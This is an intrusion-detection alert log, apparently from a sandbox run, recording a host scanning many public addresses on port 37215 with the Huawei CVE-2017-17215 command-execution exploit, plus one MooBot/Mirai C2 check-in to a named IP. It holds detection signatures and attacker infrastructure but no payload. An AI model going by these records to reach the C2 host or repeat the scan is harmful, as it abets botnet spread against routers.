ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.141.178.189

Timestamp:	2024-08-01T15:35:21.835662+0200
SID:	2835222
Source Port:	45806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.88.44

Timestamp:	2024-08-01T15:35:56.488969+0200
SID:	2835222
Source Port:	60182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.78.208

Timestamp:	2024-08-01T15:35:50.233749+0200
SID:	2835222
Source Port:	44430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.101.237.200

Timestamp:	2024-08-01T15:36:26.560093+0200
SID:	2835222
Source Port:	41794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.8.183.194

Timestamp:	2024-08-01T15:35:20.545775+0200
SID:	2835222
Source Port:	35678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.252.74.66

Timestamp:	2024-08-01T15:35:32.992472+0200
SID:	2835222
Source Port:	46186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.142.158

Timestamp:	2024-08-01T15:36:24.465154+0200
SID:	2835222
Source Port:	38884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.102.209

Timestamp:	2024-08-01T15:35:33.083474+0200
SID:	2835222
Source Port:	52516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 150.104.237.3

Timestamp:	2024-08-01T15:35:21.928413+0200
SID:	2835222
Source Port:	56406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.105.110

Timestamp:	2024-08-01T15:35:50.277999+0200
SID:	2835222
Source Port:	46768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.143.41

Timestamp:	2024-08-01T15:35:20.203135+0200
SID:	2835222
Source Port:	34698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.149.139.9

Timestamp:	2024-08-01T15:35:20.210070+0200
SID:	2835222
Source Port:	49734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.94.48

Timestamp:	2024-08-01T15:35:21.890672+0200
SID:	2835222
Source Port:	55546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.48.54.107

Timestamp:	2024-08-01T15:36:09.912028+0200
SID:	2835222
Source Port:	58034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.100.186

Timestamp:	2024-08-01T15:35:20.202619+0200
SID:	2835222
Source Port:	52190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.194.247

Timestamp:	2024-08-01T15:36:22.455130+0200
SID:	2835222
Source Port:	38030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.165.110

Timestamp:	2024-08-01T15:35:20.216562+0200
SID:	2835222
Source Port:	41412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.192.174

Timestamp:	2024-08-01T15:35:21.928327+0200
SID:	2835222
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.144.247.11

Timestamp:	2024-08-01T15:36:18.261274+0200
SID:	2835222
Source Port:	48618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.192.129.147

Timestamp:	2024-08-01T15:35:43.353425+0200
SID:	2835222
Source Port:	46376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 47.18.126.125

Timestamp:	2024-08-01T15:35:33.066717+0200
SID:	2835222
Source Port:	46072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.22.185.1

Timestamp:	2024-08-01T15:36:24.448696+0200
SID:	2835222
Source Port:	39500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.239.173.146

Timestamp:	2024-08-01T15:35:20.204458+0200
SID:	2835222
Source Port:	36092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.241.123

Timestamp:	2024-08-01T15:35:20.209644+0200
SID:	2835222
Source Port:	51826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.210.55.106

Timestamp:	2024-08-01T15:35:43.429784+0200
SID:	2835222
Source Port:	47842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.95.164.118

Timestamp:	2024-08-01T15:36:09.889635+0200
SID:	2835222
Source Port:	42614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.91.200.66

Timestamp:	2024-08-01T15:35:17.241293+0200
SID:	2835222
Source Port:	43540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.134.99

Timestamp:	2024-08-01T15:35:20.206998+0200
SID:	2835222
Source Port:	37714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.16.61.67

Timestamp:	2024-08-01T15:36:32.905357+0200
SID:	2835222
Source Port:	33444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.99.72.249

Timestamp:	2024-08-01T15:36:04.543581+0200
SID:	2835222
Source Port:	36434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.253.226.188

Timestamp:	2024-08-01T15:36:20.172247+0200
SID:	2835222
Source Port:	44162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.246.255

Timestamp:	2024-08-01T15:36:22.456068+0200
SID:	2835222
Source Port:	49728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.227.70

Timestamp:	2024-08-01T15:36:57.545024+0200
SID:	2835222
Source Port:	54006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.176.210.53

Timestamp:	2024-08-01T15:36:49.564674+0200
SID:	2835222
Source Port:	46538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.152.254.50

Timestamp:	2024-08-01T15:36:22.340047+0200
SID:	2835222
Source Port:	49568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.225.13.174

Timestamp:	2024-08-01T15:36:24.791483+0200
SID:	2835222
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.93.44.240

Timestamp:	2024-08-01T15:35:16.399073+0200
SID:	2835222
Source Port:	39804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.158.84.141

Timestamp:	2024-08-01T15:35:20.209304+0200
SID:	2835222
Source Port:	46388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.13.26.166

Timestamp:	2024-08-01T15:35:53.372660+0200
SID:	2835222
Source Port:	40926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.238.222.22

Timestamp:	2024-08-01T15:36:46.309783+0200
SID:	2835222
Source Port:	32908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.72.131.41

Timestamp:	2024-08-01T15:36:39.033861+0200
SID:	2835222
Source Port:	44496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.55.99.228

Timestamp:	2024-08-01T15:35:20.209046+0200
SID:	2835222
Source Port:	35866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.143.18.123

Timestamp:	2024-08-01T15:35:16.775546+0200
SID:	2835222
Source Port:	49810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.203.192.116

Timestamp:	2024-08-01T15:35:45.405036+0200
SID:	2835222
Source Port:	41802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.238.58.237

Timestamp:	2024-08-01T15:36:06.680959+0200
SID:	2835222
Source Port:	34892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.56.170.47

Timestamp:	2024-08-01T15:36:39.037817+0200
SID:	2835222
Source Port:	44872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.88.166.205

Timestamp:	2024-08-01T15:35:20.209214+0200
SID:	2835222
Source Port:	42938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.35.61.158

Timestamp:	2024-08-01T15:36:14.890162+0200
SID:	2835222
Source Port:	51378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.229.196.52

Timestamp:	2024-08-01T15:36:28.744265+0200
SID:	2835222
Source Port:	47826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.162.84.249

Timestamp:	2024-08-01T15:35:17.250391+0200
SID:	2835222
Source Port:	37200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 188.85.0.26

Timestamp:	2024-08-01T15:36:11.900830+0200
SID:	2835222
Source Port:	37974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.100.155.189

Timestamp:	2024-08-01T15:35:21.909788+0200
SID:	2835222
Source Port:	37582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.199.106

Timestamp:	2024-08-01T15:36:01.468508+0200
SID:	2835222
Source Port:	59142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.46.60

Timestamp:	2024-08-01T15:36:22.355858+0200
SID:	2835222
Source Port:	43554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.132.71.173

Timestamp:	2024-08-01T15:35:20.575041+0200
SID:	2835222
Source Port:	58516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.246.84.120

Timestamp:	2024-08-01T15:36:01.466632+0200
SID:	2835222
Source Port:	56884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.163.81.100

Timestamp:	2024-08-01T15:36:16.216060+0200
SID:	2835222
Source Port:	41284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.50.183.170

Timestamp:	2024-08-01T15:36:18.249605+0200
SID:	2835222
Source Port:	35026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.125.82.183

Timestamp:	2024-08-01T15:35:20.207424+0200
SID:	2835222
Source Port:	49456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.62.81.195

Timestamp:	2024-08-01T15:35:32.994089+0200
SID:	2835222
Source Port:	42068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 105.61.187.232

Timestamp:	2024-08-01T15:35:20.204119+0200
SID:	2835222
Source Port:	54428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.155.255.225

Timestamp:	2024-08-01T15:36:51.579604+0200
SID:	2835222
Source Port:	39966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.151.94

Timestamp:	2024-08-01T15:36:56.136728+0200
SID:	2835222
Source Port:	59430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.139.25

Timestamp:	2024-08-01T15:36:57.623676+0200
SID:	2835222
Source Port:	60916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.206.140

Timestamp:	2024-08-01T15:36:01.672963+0200
SID:	2835222
Source Port:	45796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:43.201227+0200
SID:	2030490
Source Port:	40022
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.241.140

Timestamp:	2024-08-01T15:35:17.038346+0200
SID:	2835222
Source Port:	50270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.145.235.243

Timestamp:	2024-08-01T15:36:28.682226+0200
SID:	2835222
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.97.218.105

Timestamp:	2024-08-01T15:36:51.586981+0200
SID:	2835222
Source Port:	59168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.69.172

Timestamp:	2024-08-01T15:35:21.892200+0200
SID:	2835222
Source Port:	33580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.208.251.69

Timestamp:	2024-08-01T15:35:28.720648+0200
SID:	2835222
Source Port:	48252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.60.234.106

Timestamp:	2024-08-01T15:35:23.806371+0200
SID:	2835222
Source Port:	47720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.216.217.88

Timestamp:	2024-08-01T15:35:50.747707+0200
SID:	2835222
Source Port:	42570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.65.208

Timestamp:	2024-08-01T15:35:58.683291+0200
SID:	2835222
Source Port:	40024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.139.36.132

Timestamp:	2024-08-01T15:36:49.752347+0200
SID:	2835222
Source Port:	43396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.79.106.184

Timestamp:	2024-08-01T15:36:56.327625+0200
SID:	2835222
Source Port:	52990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.125.157.42

Timestamp:	2024-08-01T15:36:57.542382+0200
SID:	2835222
Source Port:	49862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.114.115.214

Timestamp:	2024-08-01T15:35:17.171038+0200
SID:	2835222
Source Port:	48254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.13.139.63

Timestamp:	2024-08-01T15:36:01.465141+0200
SID:	2835222
Source Port:	55040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.17.192

Timestamp:	2024-08-01T15:35:20.575213+0200
SID:	2835222
Source Port:	58784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.3.105.248

Timestamp:	2024-08-01T15:35:23.791642+0200
SID:	2835222
Source Port:	50216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 188.29.255.240

Timestamp:	2024-08-01T15:35:50.296349+0200
SID:	2835222
Source Port:	59646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.139.56

Timestamp:	2024-08-01T15:35:20.208915+0200
SID:	2835222
Source Port:	58496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.220.156.230

Timestamp:	2024-08-01T15:35:50.297283+0200
SID:	2835222
Source Port:	49868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.37.197

Timestamp:	2024-08-01T15:35:53.373324+0200
SID:	2835222
Source Port:	37802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.226.211

Timestamp:	2024-08-01T15:36:52.652883+0200
SID:	2835222
Source Port:	37946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.132.216

Timestamp:	2024-08-01T15:35:20.214887+0200
SID:	2835222
Source Port:	43032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.116.171.146

Timestamp:	2024-08-01T15:36:16.184419+0200
SID:	2835222
Source Port:	37740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.168.50

Timestamp:	2024-08-01T15:35:35.121122+0200
SID:	2835222
Source Port:	42516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.246.215.222

Timestamp:	2024-08-01T15:36:16.183485+0200
SID:	2835222
Source Port:	47662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.145.48.231

Timestamp:	2024-08-01T15:36:53.733924+0200
SID:	2835222
Source Port:	51772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.143.29

Timestamp:	2024-08-01T15:35:20.210111+0200
SID:	2835222
Source Port:	57040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.222.169.28

Timestamp:	2024-08-01T15:35:20.208829+0200
SID:	2835222
Source Port:	51770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.48.239.62

Timestamp:	2024-08-01T15:36:22.454912+0200
SID:	2835222
Source Port:	39658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 1.243.238.129

Timestamp:	2024-08-01T15:36:36.600521+0200
SID:	2835222
Source Port:	52816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.133.232.82

Timestamp:	2024-08-01T15:35:28.720820+0200
SID:	2835222
Source Port:	36580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.72.248.194

Timestamp:	2024-08-01T15:35:20.205102+0200
SID:	2835222
Source Port:	59558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.2.64

Timestamp:	2024-08-01T15:35:21.830927+0200
SID:	2835222
Source Port:	33676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.182.180

Timestamp:	2024-08-01T15:35:17.039964+0200
SID:	2835222
Source Port:	56328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

